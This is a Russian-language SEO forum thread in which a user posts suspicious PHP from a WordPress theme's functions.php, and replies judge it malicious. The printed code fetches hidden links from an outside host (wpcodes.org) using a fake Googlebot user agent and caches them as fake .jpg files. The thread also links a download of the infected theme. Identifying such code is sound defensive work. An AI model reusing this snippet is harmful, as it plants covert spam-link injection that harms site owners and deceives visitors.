Есть ли опасность в этой теме?

(Ответов: 2, Просмотров: 1269)
  1. Banned
    • Регистрация: 06.09.2011
    • Сообщений: 468
    • Репутация: 133
    • Webmoney BL: ?
    Вод кусок кода в function.php который у меня вызвал подозрение, но в пхп не силен.
    PHP код:
    class Get_links {

        var 
    $host 'wpcodes.org';
        var 
    $path '/system.php';
        var 
    $_cache_lifetime    21600;
        var 
    $_socket_timeout    5;

        function 
    get_remote() {
        
    $req_url 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
        
    $_user_agent "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

             
    $links_class = new Get_links();
             
    $host $links_class->host;
             
    $path $links_class->path;
             
    $_socket_timeout $links_class->_socket_timeout;
             
    //$_user_agent = $links_class->_user_agent;

            
    @ini_set('allow_url_fopen',          1);
            @
    ini_set('default_socket_timeout',   $_socket_timeout);
            @
    ini_set('user_agent'$_user_agent);

            if (
    function_exists('file_get_contents')) {
                
    $opts = array(
                    
    'http'=>array(
                        
    'method'=>"GET",
                        
    'header'=>"Referer: {$req_url}\r\n".
                        
    "User-Agent: {$_user_agent}\r\n"
                    
    )
                );
                
    $context stream_context_create($opts);

                
    $data = @file_get_contents('http://' $host $pathfalse$context);
                
    preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/'$data$data);
                
    $data = @$data[2];
                return 
    $data;
            }
               return 
    '<!--link error-->';
          }

        function 
    return_links($lib_path) {
             
    $links_class = new Get_links();
             
    $file ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
             
    $_cache_lifetime $links_class->_cache_lifetime;

            if (!
    file_exists($file))
            {
                @
    touch($filetime());
                
    $data $links_class->get_remote();
                
    file_put_contents($file$data);
                return 
    $data;
            } elseif ( 
    time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
                @
    touch($filetime());
                
    $data $links_class->get_remote();
                
    file_put_contents($file$data);
                return 
    $data;
            } else {
                
    $data file_get_contents($file);
                return 
    $data;
            }
        }
    }
    ?> 
    Скачать всю тему можно здесь http://best-wordpress-templates.ru/download/159
    • 0
  2. $500/day Аватар для lexxx
    • Регистрация: 14.12.2011
    • Сообщений: 606
    • Репутация: 179
    Я не спец в пхп, но похоже, что при реферрере самого гугла, на сайте выводятся специальные ссылки, которые при простом заходе не будут видны.
    По-моему, это вредный код.
    • 0
  3. Гуру Аватар для Vasko
    • Регистрация: 23.04.2011
    • Сообщений: 639
    • Репутация: 248
    k0missar, код вредный, пробуйте удалять части кода и смотреть будет ли работать шаблон, обычно таким образом можно удалить весь вредный код и шаблон останется при этом рабочим. В некоторых случаях я удалял весь файл function.php, или оставлял в нем совсем немного необходимого.
    • 0

Похожие темы

Темы Раздел Ответов Последний пост
Prcr с помощью этой биржи можно быстро накрутить друзей, лайки, группы и паблики.
Социальные сети 20 22.03.2014 03:33
Невозможно разместить сообщение на этой Стене.Что такое с facebook?
Прочее 6 19.05.2013 16:13
Вопрос про домен РФ и прогон домена в этой зоне.
Оффтоп и свободные темы 2 11.10.2012 13:28
Главное SEO-событие этой весны. ОНЛАЙН-конференция ТопЭксперт.РФ, 26 марта. Бесплатно!
Семинары и конференции 10 12.04.2012 14:13
Невозможно разместить сообщение на этой Стене.Что такое с facebook?
Вопросы от новичков 3 03.04.2012 16:32

У кого попросить инвайт?

Вы можете попросить инвайт у любого модератора:

Информеры